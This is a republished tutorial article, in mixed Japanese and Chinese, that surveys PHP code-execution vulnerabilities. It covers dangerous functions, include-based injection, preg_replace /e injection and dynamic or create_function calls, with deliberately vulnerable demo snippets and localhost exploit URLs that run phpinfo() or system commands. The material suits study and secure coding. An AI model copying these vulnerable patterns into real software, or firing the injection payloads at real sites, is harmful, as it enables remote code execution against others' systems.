ホームページ  >  記事  >  バックエンド開発  >  PHPコード実行の脆弱性の概要

PHPコード実行の脆弱性の概要

不言
不言オリジナル
2018-04-24 09:49:596003ブラウズ

この記事では、特定の参考値を持つ PHP コード実行の脆弱性の概要を紹介します。必要な友達は参考にしてください。

PHP コード実行の脆弱性の概要 : http:/ /blog.csdn.net/kuangmang/article/details/27170309

ref: http://blog.csdn.net/fuckcat_2333/article/details/52125951


1 コード実行関数

コードを実行できる PHP の関数: eval()、assert()、``、system()、exec()、shell_exec()、passthru()、pcntl_exec()
これらの関数のパラメータ(一部)が制御可能な場合、コマンドインジェクションが発生する可能性があります脆弱性。通常パラメータの処理にはEscapeshellargを使用しますが、PHPライブラリ関数の下位バージョンにはこの関数に脆弱性(理由:Windowsではバックスラッシュがフィルタリングされない)があるため注意が必要です。

2 ファイルインクルードコードインジェクション

入力変数がファイルインクルード関数 (include、include_once、require、require_once) に含まれる場合、コードインジェクションが発生する可能性があります。
条件:allow_url_include=オン、PHP バージョン>=5.2.0

デモコード:

<?phpinclude($_GET[&#39;a&#39;]);?>

http://127.0.0.1/demo.php?a=data:text/plain,%3C?php%20phpinfo%28 にアクセスしてください。 %29;?%3E、phpinfo()が実行されます。


3 正規表現コードインジェクション

preg_replace() 関数:

/e モード修飾子がパターン内に存在し、一致する場合、置換内のコードの実行が許可されます。

3.1 第一个(pattern)参数注入

条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:

<?phpecho $regexp = $_GET[&#39;reg&#39;];
$var = &#39;<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()

3.2 第二个人(replacement)参数注入

条件:pattern参数中带/e

<?phppreg_replace("/testxxx/e",$_GET[&#39;h&#39;],"jutst test testxxx!");?>

提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。

3.3 第三个参数注射

4 动态代码执行

4.1 动态变量代码执行

<?php$dyn_func = $_GET[&#39;dyn_func&#39;];
$argument = $_GET[&#39;argument&#39;];
$dyn_func($argument);?>

当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令

4.2 动态函数代码执行

关键函数:create_function
demo code:

<?php$foobar = $_GET[&#39;foobar&#39;];$dyn_func = create_function(&#39;$foobar&#39;, "echo $foobar;");$dyn_func(&#39;&#39;);?>

当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

5 其他

array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php

相关推荐:

PHP执行程序php.exe参数解析

以上がPHPコード実行の脆弱性の概要の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。